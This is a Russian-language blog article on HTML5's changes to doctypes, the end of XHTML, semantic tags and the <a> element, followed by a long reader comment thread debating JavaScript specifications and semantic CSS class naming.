Краткое пояснения для людей, не владеющих техническими тонкостями верстки. Тип документа — doctype — объявляет используемый данной страницей диалект языка, то есть допустимый набор тегов и атрибутов. Документы без указанного doctype считаются сверстанными по совсем старым правилам (до html4) и отображаются в режиме совместимости (quirks mode). Чтобы страница выглядела попиксельно одинаково в разных браузерах необходимо (но далеко не достаточно) правильно указывать доктайп и затем его придерживаться.
Проверка на соответствие реальной страницы заявленному доктайпу называется валидацией, а страница, прошедшая такую проверку — валидной. «Главный валидатор» находится на сайте W3C; также существуют валидаторы в виде плагинов к браузерам и IDE. Если в студии верстка ведется валидно, то такой валидатор-плагин позволяет сразу обнаруживать ошибки в коде на самой ранней стадии, зажигая лампочку «Хьюстон, у нас проблемы», даже если в браузере разработчика страница отображается полностью корректно. Кроме того, валидность оставляет слабую надежду на совместимость результата с будущими версиями браузеров Microsoft.

На данный момент действует одновременно 6 допустимых доктайпов — это по три диалекта (Frameset, Transitional и Strict) для двух языков — HTML и XHTML. Разумеется, не существует браузеров, отображающих, скажем, только XHTML Frameset; все [современные] реальные браузеры поддерживают все типы документов. Точнее, конечно же, они поддерживают некий супер-доктайп, обобщающий все шесть, который у каждого браузера — свой. В идеале, именно этот один универсальный доктайп и должен был остаться. Он и остался. Теперь это просто html.

Первым пал диалект Frameset; хотя кое-где в веб-интерфейсах китайских коммутаторов еще можно встретить фреймы, официально тег <frame> сотоварищи больше не существует. Туда ему и дорога. (Речь о совсем старых фреймах, <iframe> никто не трогал).

Вторым ожидаемо пал Transitional, который в дополнение ко всем тегам диалекта Strict содержал атрибуты, дублирующие CSS-свойства, такие как width и bgcolor. На заре внедрения HTML4 это было необходимо для обеспечения совместимыми со старыми сайтами и старыми браузерами, но сейчас это уже неактуально. Тэги font, center и им подобные, равно как и атрибуты align, valign, width, height, cellspacing и cellpadding остались в прошлом, и слава Богу. Разумеется, все сделано с умом: у тега img атрибуты width и height выполняют другую функцию, поэтому они никуда не делись.

Таким образом, остался диалект Strict, но для двух языков: HTML и XHTML. Вот здесь уже кипели нешуточные войны, языки собирались окончательно разойтись, но… ставший смертельным выстрел сделала Apple, выйдя из рабочей группы по XHTML 2.0. Победители, впрочем, вполне обоснованно не стали добивать этот формат и позволили ему продолжить существование в качестве подмножества HTML5. Объявляется «новый xhtml» так:

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml">

После такого объявления верстальщик добровольно обязуется соблюдать все требования XML, в том числе, строго нижний регистр, закрытие всех тегов и кавычки в атрибутах.

Сейчас я попробую объяснить, почему утвержденный вариант решения проблемы объединения нельзя назвать иначе как мудрым.

Творец всемирной паутины Тим Бернерс-Ли создал HTML не на пустом месте. HTML это приложение (подмножество) метаязыка SGML, работы над которым начались в IBM еще в 1969 году. Он мощен, гибок и имеет строгое математическое обоснование алгоримтов своего разбора, но его синтаксис позволяет достаточно вольные выкрутасы вполне в духе созданного тогда же языка Си, а написать корректный парсер HTML с учетом DTD достаточно сложно.

XHTML, хотя и очень похож на HTML с клевой буквой Х впереди (от столь приятной сердцу любого bullshit-маркетолога eXtensibility, «расширяемости»), основан не на SGML, а на XML, то есть представляет собой совершенно другой язык. XML — это созданный, кстати, w3c метаязык, синтаксис которого настолько прост и формален, что написать для него парсер способен любой знающий рекурсию школьник. В отличие от верстаемого преимущественно вручную HTML, XML ориентирован на программную генерацию кода, поэтому любое отклонение от формальной структуры в XML-файле cчитается исключительной ошибкой, свидетельствующей о сбое в программе-генераторе. По стандарту, невалидные XML документы должны объявляться непригодными к использованию, и в большинстве систем именно так все и происходит.
XML нашел широкое применение в различных распределенных системах, таких как ERP, CRM, в разнообразном коммерческом и банковском софте и т.п., где совместимость между самым разным железом и софтом, а также надежность передачи данных действительно очень важны.
Однако, подобное поведение — отказ от обработки всего документа при обнаружении любой ошибки — абсолютно неприемлемо для веба, где большую часть контента создают отнюдь не программы и даже не верстальщики, а сайт-менеджеры, писатели, блоггеры и, зачастую, рядовые посетители сайтов. Если условная «девочка» случайно забудет записать мантру &lt; вместо символа «меньше» (<), XML — страница станет невалидной, и, по требованиям XML, вообще не должна отображаться браузером. Уже этого достаточно для понимания того факта, что XHTML был изначально мертворожденным.

Вообще, стандарт XHTML потребовался для того, чтобы использовать HTML-подобную разметку внутри XML-документов. Например, в XML-прайслисте может существовать поле «описание товара», в котором это самое описание может быть отформатировано при помощи XHTML-тегов (все тех же курсива <i>, ссылок <a>, разбивки на абзацы <p> и т.п.). До тех пор, пока это описание создается при помощи RichText поля ввода, которое само создает тэги и гарантирует валидность получаемого кода (пусть даже там каша из тегов, но валидная каша) — все нормально. Но как только возникает необходимость вставить текст, взятый «из дикого интернета», — в этот момент любые преимущества XHTML заканчиваются. Как бы глубоко не был xhtml совместим с xml, все равно необходимо писать отдельный парсер, который выкинет из внешнего html весь лишний css и javascript, причешет код и оставит только нужные тэги. Это не перетягивание одеяла и не желание усложнить кому-то жизнь, это, в первую очередь, очевидные требования безопасности и надежности.

В свое время стандарты XML и XHTML рекламировались производителями коммерческого софта как серебряная пуля, после которой наступит неизбежное совместимое счастье. XML действительно во многих случаях помог объединить разрозненные и плохо совместимые системы. В качестве примера можно привести ONIX XML, на котором в России работает полностью автоматический электронный обмен всеми коммерческими данными (прайсами, анонсами, заявками, накладными и т.п.) между всеми издательствами и подавляющим большинством книжных магазинов.
А вот с XHTML не сложилось. Очень многие разработчики клюнули на рекламу и стали использовать XHTML как некий «строгий» формат, он стал даже моден, но по факту 99.9% созданных на XHTML сайтов в условиях реальной эксплуатации все равно содержат ошибки, и, таким образом, не выполняют требования XML. Из-за этого ни один реальный браузер или серьезный парсер также никогда не полагается на XML-валидность и даже не ожидает ее. То есть, собственно во всемирной паутине, о которой и должен в первую очередь заботиться WWW Consortium, XHTML нормально не используется.
XHTML вообще странный язык. Продвигаемый как приложение (грубо говоря, подмножество) XML, он таковым не является. В XHTML существуют правила, например, запрет вложенности для тегов <a> и <p>, которые не могут быть выражены в терминах XML. То есть возможен код, валидный с точки зрения XML, но невалидный в XHTML. При этом, ради обеспечения XML-валидности были принесены в жертву гибкость и человекочитаемость html-разметки.

На практике, HTML никогда не применяется сам по себе. Обычно используется гремучая смесь html, css, javascript и какого-нибудь php или на чем там написана система управления сайтом. В последних трех языках, как и подавляющем большинстве других, синтаксис таков, что всё, заключенное в кавычки, считается строковой константой и код внутри кавычек дальше не интерпретируется; а вот все остальное заключать в кавычки нельзя или нежелательно. В XHTML же в кавычки должны быть заключены любые значения атрибутов, включая числа, идентификаторы, перечисления и так далее. Постоянные переключения синтаксиса в одном файле ни к чему хорошему не приводят, глаз программиста замыливается, и становятся возможными достаточно трудно вылавливаемые синтаксические ошибки.
Читаемость в xhtml также сильно отстает от читаемости html. Например, html-тег
<input id=doYouAgree type=checkbox selected disabled>
превращается в монструозный
<input id="doyouagree" type="checkbox" selected="selected" disabled="disabled" />
Когда код генерируется программно — это почти не проблема, если не считать лишние затраты памяти; но при ручной верстке весь этот цифровой мусор заметно снижает производительность труда.
Но главная беда XHTML, конечно же, это обязательность закрывающих тегов, за которыми не стоит никаких сущностей реального мира. Речь здесь о </td>, </p> и прочих </li>, использование которых в xhtml приводит к очень неприятным ошибкам, которые в обычных языках программирования принято называть ошибками проектирования.
Вот например тег </td>, который обозначает «конец ячейки таблицы». Этот самый конец ячейки не может существовать в чистом виде. В настоящих, а не абстрактных таблицах этот конец всегда совпадает либо с началом следующей ячейки, либо с концом всей таблицы. В xhtml же технически возможен (и с точки зрения XML даже валиден!) вот такой код:
<td> текст ячейки </td> текст между ячейками, отображайте где хотите <td></td>
Если скормить нечто такое браузеру, он взгрустнет, но текст между ячейками все-таки вынужденно отобразит. Где-то. Это «где-то» будет точно не внутри той таблицы, где встретилось это безобразие, а где-то еще. И непонятно с какими стилями. Если бы тега </td> не было, этот текст бы «прилип» к предыдущей ячейке и был бы сразу «вычислен» при отладке; ну в крайнем случае он был бы хотя бы показан прямо рядом с нужным местом, и читатель смог бы догадаться, что к чему. В XHTML же типичная «success story» представляет собой страницу с каким-нибудь сложным отчетом, который внезапно некорректно отображаться у пользователя IE для древней MacOS, и все что у вас есть — это скриншот, на котором часть ячеек уехало за пределы таблицы. Вот и ищите.
Я уж молчу о том, что будет с почти любой страницей, если ей влепить в случайное место лишний (непарный) </td>.
Это, конечно, не значит, что закрывающие теги вообще нельзя использовать. Можно и часто нужно. Но не всегда. В мире вообще мало вещей, которые должны соблюдаться всегда.

Чтобы все-таки обеспечить совместимость с XML, в html5 оставили не только закрывающие тэги для элементов-контейнеров, но и впервые для html допустили самозакрытые теги (в том числе тег <br/> вызывающий Warning в валидаторе HTML 4.01 Strict).
Из других нововведений в доктайп стоит отметить наконец-то добавленную расширяемость пользователем атрибутов тегов; теперь верстальщики могут записывать любую нужную им информацию в атрибуты data-*. Передавая параметры в какой-нибудь скрипт, который обработает ваши теги после загрузки, наконец-то можно забыть о rel, rev и прочих экзотических атрибутах как о потенциальных «осликах».

Резюмируя раздел о доктайпе:
1. WhatWG угодила всем бюрократам, нашедшим в спецификации понятные для себя слова, но не разбирающимся в технических деталях;
2. На самом же деле, они оставили из 6 виртуальных доктайпов один реальный, соблюдения которого действительно можно требовать и добиваться;
3. XHTML, как вещь, фактически не работающая на практике, официально прекратил существование;
4. В html5 стала возможной прямая выгрузка форматированного текста из XML в HTML;
5. Появилась возможность форматировать html валидно с точки зрения XML там, где это действительно нужно;
6. Язык html остался грамотно спроектированным и удобным для ручной верстки;
7. Наконец, стало официально невозможным создать прямой шлюз из «дикого» интернета в закрытые корпоративные XML-системы без установки промежуточного парсера, что хорошо с точки зрения безопасности.
Таким образом, двумя элегантными штрихами и одним метким выстрелом WhatWG сделал для реальной совместимости XML и HTML намного больше, чем весь язык XHTML за всю свою десятилетнюю историю и со всеми потраченными на его рекламу миллионами. Браво, иначе не скажешь!

Новые теги и семантическая верстка


Принцип семантической верстки в сайтостроении очень похож на антропный принцип в физике. В слабой своей форме они оба очевидны до степени аксиомы; в сильной же оба принципа являются исключительно вопросом веры, не имеющим отношения к данной нам Господом в ощущениях объективной реальности.
Итак, слабый принцип семантической верстки предписывает верстать, допустим, список, представляющий, скажем, меню сайта, с использованием (барабанная дробь) не таблиц, не блоков <div> и не простой последовательности ссылок с текстовыми разделителями — а, вы не поверите, с использованием списочных тегов <ol> или <ul>.
А еще Кэп намекает, что шурупы хоть и можно забивать молотком, но отвертка все-таки удобнее.

В сильном варианте все намного хуже. Верстая левую колонку сайта, запрещается называть её #left, потому как на самом деле это не просто левая колонка, а тулбар; и вообще, она может ВНЕЗАПНО стать правой, а названия в стилях и скриптах так и останутся #left и в будущем будут сбивать с толку. Ну, с доводами уровня «если бы у бабушки был кий» как-то даже не хочется спорить, а тема ООПухолей мозга на хабре полностью раскрыта. Блин, неважно, как называется тот или иной блок, если это название однозначно понятно всем, кто будет с ним работать; что касается переноса блока #left вправо без его переименования, то за такой «рефакторинг» нужно карать в любом случае.

К сожалению, ипсиссимусы секты семантистов пробрались в w3c и попытались отменить теги, существование которых противоречит их религии. Так, например, под вопросом оказалось существование тега <b>, обозначающего полужирное начертание текста (bold). Вместо него предлагалось использовать тег <strong>, который ранее применялся для выделения сильных (в смысле важных) утверждений.
В конце концов тег <b> партии здравого смысла удалось отстоять, но если раньше им обозначался просто полужирный текст, то теперь им следует выделять, цитирую, «spans of text whose typical typographic presentation is emboldened», то есть подстроки, которые обычно выделяются полужирным при печати. О как!
На первый взгляд, это решение из серии «и вашим и нашим» и вообще болтология, но, если разобраться, автор этой фразы достоин настоящих оваций и чемпионского звания в номинации бюрократического словоблудия. Это не сарказм, я сейчас объясню, что к чему.

Всё дело в тонкой логической ошибке в рассуждениях семантистов. Классы «полужирных» и «важных» подстрок совпадают не на 100%, а всего на 99%. Другими словами, существуют слова и фразы, обозначаемые полужирным шрифтом, но не выделяющиеся из текста семантически.
Примером могут служить векторные величины в математических формулах. Их принято обозначать стрелкой сверху, а когда это технически невозможно (как в случае HTML), — печатать полужирным шрифтом. Совсем не выделять их никак нельзя, так как могут существовать скалярные величины с таким же обозначением. Никакой «важности» сам факт векторности величины также не несет. Когда я рассказываю про вектор напряженности электрического поля E, тег <b> нужен мне в своем первозданном виде, чтобы отличать эту величину от энергии системы Е. И да, <span class=vector> с заведомо единственным стилем font-weight:bold на каждое упоминание Е просьба не предлагать. Мне работать надо, а не спотыкаться глазами о бесконечные спаны и классы.
Кроме того, далеко не всегда верстальщик имеет право вносить хоть какие-то изменения в текст. Бывают, например, произведения классиков, в которых они используют курсив и полужирное начертание исключительно в художественных целях (то есть так, как им лично захотелось), или, может, в соответствии с устаревшими на данный момент правилами языка, или еще как-то не по правилам. Тэги <strong> и <em>, вообще говоря, не должны быть обязательно полужирным и курсивом, они вполне могут выделять текст, допустим, другим цветом. От верстальщика классики же требуется строго сохранить авторское написание. Точка. Про span см. выше.
В-общем, <b> и <i> отстояли. Более того, в html5 переопределили смысл тега <strong>, теперь вместо «сильных» утверждений им следует выделять именно «важные» (англ. «important»).
Вот честно, в переопределении смысла тега <strong> я лично не вижу других мотивов, кроме мести за бредовость нового смысла <b>. Хотя, возможно, речь идет об обычном буквоедстве самих семантистов.

А вот тег <u>, обозначающий подчеркивание, отстоять не удалось. Официально — по той причине, что подчеркиванием в вебе принято выделять ссылки. Проблема в том, что выделение ссылок подчеркиванием это всего лишь культурный обычай определенной социальной группы. Всемирный стандартный формат текстовых (простите, гипертекстовых) документов должен быть универсальным и подходить в том числе для нужд представителей «оффлайновой» культуры. А в их книгах и документах подчеркивание встречается и активно используется и безотносительно ссылок. Из-за этого html5 теряет однозначную совместимость с распространенными текстовыми форматами, в которых подчеркивание есть. Его, разумеется, можно реализовать через стили, но здесь отсутствует именно однозначность такой конверсии.

Из позитивных изменений можно отметить тот факт, что в языке появились теги <header>, <footer>, <article> и прочие <nav>, которые в html4 почти всегда реализовывались при помощи тега <div> с «говорящими» идентификаторами или классами.
Сейчас нехватка в языке блочных тегов приводит к тому, что в html-коде почти любой современной страницы можно наблюдать цепочки вида </div></div></div>. В количестве этих </div> очень даже легко ошибиться, особенно если на странице есть контент, отправленный рядовыми пользователями. Лишний или просто расположенный не там </div> может привести к развалу всей верстки, причем в разных браузерах эффект будет разным. В случае же специализированных тегов, во-первых, статья будет всегда заканчиваться уникальным тегом </article>, и развал всей верстки странице грозить не будет, а во-вторых, запись <article> просто понятнее, удобнее и короче, чем <div class=article>.

Новая жизнь тега <a>


Последним в рамках этой статьи изменением, достойном всяческих похвал, стало полное переосмысление тега <a>. Проблем с этим тегом столько, что в проекте XHTML 2.0 его предлагалось вообще удалить из языка, разрешив всем остальным тегам иметь атрибут href и куда-то ссылаться. (С тегом img и атрибутом src предлагалось поступить аналогично. Спасибо, Apple, мы не забудем!).
Изначально <a> предназначался для создания якорей на странице, и получил свое имя от слова anchor — «якорь». По задумке, выглядело это примерно так:
<h3><a name=chapter3>Часть 3</a></h3>
и, где-то в другом месте,
... в <a href=#chapter3>третьей части</a>...

Но кривая развития веба сложилась так, что сначала использовать ссылки внутри страницы стало «немодно» и про якоря подзабыли, а затем редко используемый формат подхватили AJAX-приложения, которым было нужно как-то отображать своё состояние на адресную строку. но в которых уже не было никаких якорей.

Еще одной проблемой стала путаница между атрибутами id и name, которые могут не совпадать. Если первый должен обязательно быть уникальным, то атрибут name может быть общим для нескольких элементов, например, у образующих одну группу радиокнопок. При этом обозначение части ссылки в url через решетку указывает на атрибут name, но в CSS та же конструкция относится уже к id!
В-общем, теперь ссылка с #решеткой указывает на элемент не по name, а по его id, причем не на элемент <a> в режиме якоря, а вообще на любой элемент с объявленным id.
Сам же тег <a> якорем быть перестал. Теперь, если у <a> не указан атрибут href, считается, что это временно неработающая ссылка, которая возможно будет инициализирована скриптом. Что касается атрибута name, то у тега <a> он должен или совсем отсутствовать, или — для совместимости — совпадать со значением атрибута id.

Еще одно изменение связано с тем, что теперь тег <a> перестал считаться строчным элементом. То есть, в html4 внутрь тега <a> нельзя было включить пару абзацев или, скажем, таблицу. В html5 можно объявлять ссылкой и строчные, и блочные элементы.
Да, конечно, я тоже ненавижу, когда кто-нибудь в ЖЖ забудет закрыть ссылку, и вся его писанина на много абзацев выделяется цветом и подчеркиванием. Но иногда это все-таки нужно. Например, для создания HTML-баннеров с какой-нибудь анимацией, или (типичный вариант) чтобы сделать ссылкой красиво оформленный блок «название товара как h5 + картинка + цена + описание». Объявлять ссылку на один и тот же урл внутри каждого блочного элемента — не очень хорошая идея.

Вместо заключения


Читая новый стандарт, трудно избежать эпитетов типа «здорово!», «молодцы» и «надо же, и об этом не забыли!». Люди действительно работали эти семь лет, выявляя недостатки html4 и вырабатывая продуманные и взвешенные решения. Это невиданный доселе прогресс. Версии html 3.2 и ниже вообще фактически никем не разрабатывались. Версия 4 просто закрепляла в своей transitional-части фактическое состояние дел после браузерной войны. Так что пятая версия станет первой действительно спроектированной в том смысле, в каком принято что-либо проектировать в мире IT, и, черт побери, она станет хорошо спроектированной.
Да, конечно, как-то мы жили и раньше. Вопрос в том, как. Просто вспомните, что уходящая эпоха — это эпоха IE6. Этим все сказано.
TheShock
а бывают плохие и даже отвратительные, как спецификация ECMAScript

О! Ещё один! Задолбали бросаться камнями в сторону JavaScript от непонимания.
vanxant
Javascript хороший язык, но с очень плохой спецификацией. Она насквозь мутная и при этом допускает множественные толкования там, где это недопустимо.
collapse
JavaScript это всего лишь один из вариантов ECMAScript. Есть еще, например, ActionScript 3.
| множественные толкования там, где это недопустимо.
— ни разу не встречал. В общем не надо гнать на язык с которым не привыкли работать.

А статья хорошая. Сам верстаю в XHTML — нравится порядок… Надо будет переучиваться :)
MihallicA
HTML порядку не помеха
macgera
Семантика, порядок, не особо помеха. Переучиваться — вряд ли, учиться — да! Я верстаю уже больше 7 лет… сейчас смотрю на html5 эксперементирую… жесть конечно :) учусь.

строго имхо: По поводу JS, ребят, я дизайны рисую, и верстаю… с JS получается мегаинтересно. Как по мне JS просто обязан разваиватся, с ним веб будет лучше…
andreyv
JavaSxript всего лишь — язык, а степень понимания зависит не только и не столько от спецификации
Colwin
От спецификации зависит единообразие.
Как ни крути, если что-либо может быть понятно неправильно — оно будет понято неправильно ©.
immaculate
Что? Какая «автоматическая расстановка точек с запятой»? Вы о стиле кодирования, где можно упускать знак ";"? Ну дык поменяйте стиль, ибо этот — вам не подходит)
TheShock
Я о том, что при переносе строк может полностью поменяться смысл кода.
immaculate
Это «от непонимания», о чём я и сказал в первом сообщении этой ветки
TheShock
Так им всем! Привыкли халявить и всякие а-это-же-не-обязательно символы пропускать, а потом «о боже, мой идеальный код не работает!»
norlin
Переносы строк вообще исчезают после сжатия.
Так что тут вопрос стиля кодирования. Если после точки с запятой всегда идет новая строка — проблем не будет.

P.S. Гуру JavaScript'а, поправьте меня, если я не прав.
Colwin
Если после точки с запятой всегда идет новая строка — проблем не будет


И еще если новая строка ставится только после точки с запятой или египетских скобок.
Colwin
Курить Javascript: The Good Parts от Крокфорда
dmitriid
Это не мне надо курить, а TheShock. Насколько я помню, Крокфорд эту особенность в The Good Parts критикует. И вообще, где-то он говорил, что разочаровался в Javascript.
immaculate
Угу, как раз недавно обсуждали.
Крокфорд вообще поговорить любит. От этого Javascript хуже не становится.
TheShock
Только по ссылке не Крокфорд, а Eich, и не разочаровался, а сказал, что мог бы сделать и лучше :))

Но это я так, придираюсь
dmitriid
Ну вообще да)
TheShock
Помимо критики, он так же говорит много чего про то, что в JS есть
dmitriid
Да уж придется потерпеть, коли так вышло.

Кстати, Douglas Crockford примерно такой же точки зрения придерживается.
Или он по-вашему тоже недопонимает JavaScript?
maxp
По-моему JavaScript плох даже после понимания…
Oleg_Yozhik
через несколько лет в каждой региональной газете появятся объявления типа «ремонт и настройка ПК, заправка принтеров, 1С, сайты на HTML5»
Сей отрывок вызвал у меня когнитивный диссонанс.
m1el
У меня когнитивный диссонанс вызывает ник автора — хорошая статья, автор молодец!
toxicdream
Имхо, статья длинная и достаточно тяжёлая. Впринципе, неплохая, но кое-где вы допустили ошибки.

Например, сравнение правильного именования элементов c «OOP» — некорректно.
Правильные имена должны быть в любой парадигме, в т.ч. процедурной.
Я приведу на примере класса, но точно так же можно взять в пример и процедурный код.
class Person {
    public bool isOlderThan18 () {
        return this.age > 18;
    }
};
// и так в приложении:
if (person.isOlderThan18()) {
  print 'может покупать выпивку';
} else {
  print 'не может покупать выпивку';
}


Если изменится законы и совершенолетие будет наступать не в 18, а в 21, то придётся рефакторить весь код, потому корректно называть как-то так:
class Person {
    public bool isAdult () {
        return this.age > 18;
    }
};


Грубо, конечно, но суть понятна.
Проблема в том, что в программировании это понимает большинство (хотя и не все именуют правильно), а вот за CSS в силу того, что язык разметки и многие относятся к нему «несерьёзно» сложилось мнение у многих, что можно именовать элементы по отображению.

И дело даже не в том, что содержимое может поменятся, а в том, что имя класса должно описывать сущность, что это за элемент и почему его необходимо выделить именно так, а не где он и какой он.
TheShock
У вас хороший пример, он отлично показывает оторванность семантистов от реальной жизни.
Понимаете, если вы пишете софт для крупной фирмы или государства, который будет крутится на серверных фермах ближайшие лет 30 — вы, безусловно, правы.
Но в мире верстки все совершенно не так. Там нет «законов», которые могут внезапно измениться. Есть макет дизайна, утвержденный заказчиком и дизайнером. Все, вот как оно есть в макете — так оно останется навсегда. Вся семантика, абстрактные классы и все прочие — это все предполагает, что будет версия 2.0, а за ней 3.0, и так далее. А в верстке этого не будет. Ну, то есть оно может и будет, но это будет совершенно другой дизайн, с совершенно другой, сделанной с нуля, версткой, как минимум на намного более новой версии CMS или вообще на другой CMS. Верстальщик решает конкретную задачу, у которой заведомо не будет продолжения. Любая абстракция в этой ситуации только вред.
Я, конечно, не рассматриваю ситуацию создания стандартного шаблона авторами CMS. Я говорю именно о студиях, выпускающих конечные сайты.
vanxant
Такие названия показывают наплевательское отношение разработчиков и/или непонимание сути вёрстки. Вся соль в том, что мне совершенно всё-равно, назвать этот метод "isAdult" или "isOlderThan18". Так само, как всё-равно, назвать класс "left" или "toolbar". Реализация не изменится, изменится только имя, которое для парсера совершенно не имеет смысла, пусть я его даже назву "sex" или "kak-ya-zdez-trahalsa-s-ie". Но если у вас проблема придумать осмысленное название классу элемента, то проблема в том, что вы просто не понимаете сути того, что вы делаете.

В современных ide отличная автозамена и при необходимости поменять все left на right не будет никакой проблемы. Но это просто хороший стиль программирования. Так само, как последовательные стандарты, разделение логики и представления, да и просто традиция писать все имена на английском, а не транслите.

Или вы не имеете ничего против названия класса «levaya-panel»? Это просто некрасиво и этому есть причины.
TheShock
если у вас проблема придумать осмысленное название классу элемента, то проблема в том, что вы просто не понимаете сути того, что вы делаете


Аплодирую. Если вдуматься, это наиболее точная формулировка принципу «осмысленности кода».

matiouchkine
Все, вот как оно есть в макете — так оно останется навсегда.
Наверное это справедливо только для очень маленьких простых сайтов.
В компании где я работаю, значительная часть тасков — правки уже существующих сайтов без кардинального изменения дизайна. И разумеется никто не перевёрстывает сайт заново, и уже тем более не переносит всё на другой движок. Зачем? Есть хорошо свёрстанный сайт, с отлаженным backend, зачем перевёрстывать всё заново если нужно внести правки?

Чем легче поддерживать код — тем быстрее вносятся правки — меньше тратится времени — больше работы выполняется — больше денег — profit.
Delka
Поддержка — вообще отдельная тема.
В данном случае, ИМХО, имеется в виду именно первичная разработка.
Colwin
Как таковая первичная разработка может быть только с зафиксированным ТЗ. Очень часто требования и ТЗ меняются до окончательной сдачи и первичная разработка плавно переходит в поддержку — сложно становится отделить разработку новых фич от изменения уже написанного для облегчения разработки нового. А если стоит вопрос выбрать имя для панели left или sidebar1, то, имхо, sidebar1 избавит от необходимости переименования в будущем, а в настоящем ничем разработку не задержит.
VolCh
Если уж создали метод, то назовите его правильно — что он делает, а не повторите его исходный код. В этом идея моего сообщения. Согласны?
kodji
Слишком не в тему. А зачем? Остановится надо тогда, когда надо остановится. Зависит от проекта, условий, денег, времени, желания, дурь на Солнце и ещё кучи факторов) Но ту часть, что вы _уже_ сделали — надо сделать качественно.
TheShock
Нет, вы занимаетесь подменой понятий.
Вы всё-равно даёте этому диву название, вам не нужно проектировать, менять что-то или писать кучи кода, как в случае с дополнительными методами. Вам всего лишь нужно дать осмысленное название.
Вы же не написали в комменте
допустимо назвать ту штуку слева «left»

вместо
допустимо назвать сайдбар «left»

И при общении с коллегами-программистами вы не будете говорить «добавь пару пунктов в левую штуку», а скажете что-то типа «добавь пару пунктов в тулбар».
kodji
Подмена в том, что вы намеренно стараетесь убедить читателя в том, что дать осмысленное название настолько же тяжело, насколько тяжело написать несколько методов, хотя я утверждаю, что дать осмысленное название классу равносильно тому, чтобы дать осмысленное название методу.
TheShock
Не согласен. Если человек не потрудился более-менее нормально назвать блок, то он наплевательски относился к своей работе.
kodji
Где? Я всегда так говорил.
TheShock
Мне кажется, что этот момент в условиях веб-разработки во многом зависит от бюджета и сроков. Можно навертеть кучу предусмотренных возможностей, но они не будут укладываться в бюджет, вы сорвете сроки разработки и провалите проект.


Сорвать сроки могут как раз неосмысленные названия, которые будут замедлять ход последующей разработки.
kodji
Смотрите, при создании ПО ничего не пишется с бухты-барахты. Каждый слой абстракции — это не только дополнительный слой абстракции, но и время на его написание, следовательно деньги на его написание.

При создании ПО балансируют между двумя факторами — «деньги, затраченные на создание сейчас» против «деньги затраченные на поддержку потом». Так вот, осмысленные название значительно сокращают деньги, затраченные на поддержку потом, при этом увеличение стоимости создания стремится к нулю.
TheShock
А сеошник так же не может попросить переместить все что слева в правую часть?
kodji
И что мешает ему это сделать из админки?
TheShock
Ага. А в этой же CMS будет возможности менять шаблоны. Потому ни в какой нормальной цмске не делают блоков с названиями «left» и «right». В том же phpbb3 аватарки пользователей по-умолчанию справа, но можно легко поставить их слева.
kodji
Да вы что? Это вы сейчас phpbb3 назвали нормальной, да еще и CMS?
О да, простите, в Wordpress колонки действительно называются не left и right, а col1 и col2. Точнее наоборот. Действительно, это семантический прорыв!
TheShock
Я phpbb вообще оценки не давал, не надо мне приписывать того, что я вам не говорил.
Да, "{name}1" и "{name}2" — это куда лучше для абстрактных и равнозначных блоков, чем «left» и «right». Хотя, конечно, название получше можно было подобрать, чем «col»
Nutochka
Ну, подберите, если вы считаете, что можно лучше.
Давайте, давайте. Вот есть абстрактная колонка. Вы не знаете, что в ней будет, и где она собственно говоря будет. Это просто колонка. Есть вот в верстке такие объекты как колонки.
Придумайте ей название лучше чем col.
kodji
box? block? panel? bar? square? place? plate? :)
Nutochka
Между прочим, можно взять название «aside» из html5
vanxant
И таки я не понимаю вашего примера.
«В ней, к примеру, есть 4 потенциальных места для вставки блоков — слева, справа, сверху и снизу.»
Ага, сразу под блоком с ссылками, над панелью управления, два места в хедере и три — в футере. И что? А в другом шаблоке ссылки будут справа, а панель управления — слева?
MihallicA
Ага.
vanxant
И что? Таким же образом можно было написать «в шапке», «в меню», «в тулбаре», «в подвале».
И если верстальщик поменяет два блока местами, то секретарша не будет кричать: «почему я говорю поставить его справа, а оно стоит слева??!!»
TheShock
Вы вообще понимаете, что вы пишете? Верстальщик может поменять местами два блока, потому что ему так скажет ваш шеф.
vanxant
Сочувствую вашему верстальщику.
TheShock
… на каждую мелкую правку переписывать тонны кода
vanxant
В том-то и дело, что наименование блоков должно быть очевидно и понятно всем, кто с ними будет работать. А какое именно оно должно быть — это все болтология.
Как я и написал в статье, это уже вопрос веры. Логикой тут ничего не докажешь, так что на этом предлагаю закончить.
TheShock
Ну, во-первых, там указана позиция, а не название блока, а во-вторых, в хорошей CMS должно быть все по-другому: шаблон определяет набор динамических блоков (позиций, условно говоря) со своими названиями, и при вставке блока-виджета надо выбирать «Хедер», «Левый сайдбар», «Текст внутри между третьим и четвертым постом», а не вот этот ужас, что на картинке. (Кстати, если сделать управление блоками sortable-списком будет круче)

Простите, конечно, за упоминание недостойного Вордпресс, но (это я к примеру, одним ВП все не заканчивается) управление меню и виджетами там как раз так и сделано.

В общем, для того, чтобы хорошо верстать и держать в поддержке код (а даже мелкие шаблончики на ВП приходится, нет-нет, и доделывать, переверстывать по чуть-чуть), надо, чтобы архитектура у движка была в поряде :)
s0rr0w
На третий пункт взгляните. А потом подумайте еще раз, чем три блока «Подвал сайта», «Левая колонка» и «Реклама в тексте» лучше. И давайте заканчим тему идиотского именования файлов, идентификаторов и переменных, ведь это с опытом приходит, правда ведь?
TheShock
В том-то и дело, что молодежь начитается всякой модной фигни о том, что крутые пацаны обязательно придерживаются семантических правил и паттернов, прости Господи, проектирования, а потом приходит на работу и с умным видом начинает городить огород на 10 файлов, создавать себе проблемы и героически, но не до конца их решать там, где надо написать 1 простую строчку кода и пойти дальше.
С опытом как раз приходит понимание, что для каждого средства есть свой калибр целей, и что реально больших целей в этой жизни мало.
s0rr0w
Та да, все — лохи, а вы ;)
TheShock
Это не опыт, это усталость :)
vanxant
Я все же поясню, на мой взгляд, очевидную вещь (что правила и стандарты облегчают жизнь в дальнейшем). Паттерны и семантика, прежде всего служат для облегчения поддержки (особенно, при работе в команде, хотя клиент также не должен быть привязан к программисту, который им верстал небольшой шаблон), возможность масштабирования (планирование «на вырост») и реюзабельность (я в большинстве своих проектов верстки использую уже готовые шаблоны, в которых все уже поименовано, плюс не стоит забывать о том, что движок также может быть сменен, тогда хорошо сделанная верстка может быть легко адаптированна под новую архитектуру шаблона).

В общем, я за то, чтобы даже администратор в пыльном свитере делал раскладку проводков по цветам в патчкорде по стандартам и подписывал проводки (а еще лучше — рисовал схему), даже когда компьютеров всего пять штук. Потому что заставлять кого-то каждый раз делать все заново — это непрофессионально.
TheShock
Сеошник, подражая парсеру html, не оперирует терминами «сверху» и «снизу», а если и оперирует, то имеет в виду место в html-коде, а не визуальное отображение на странице.

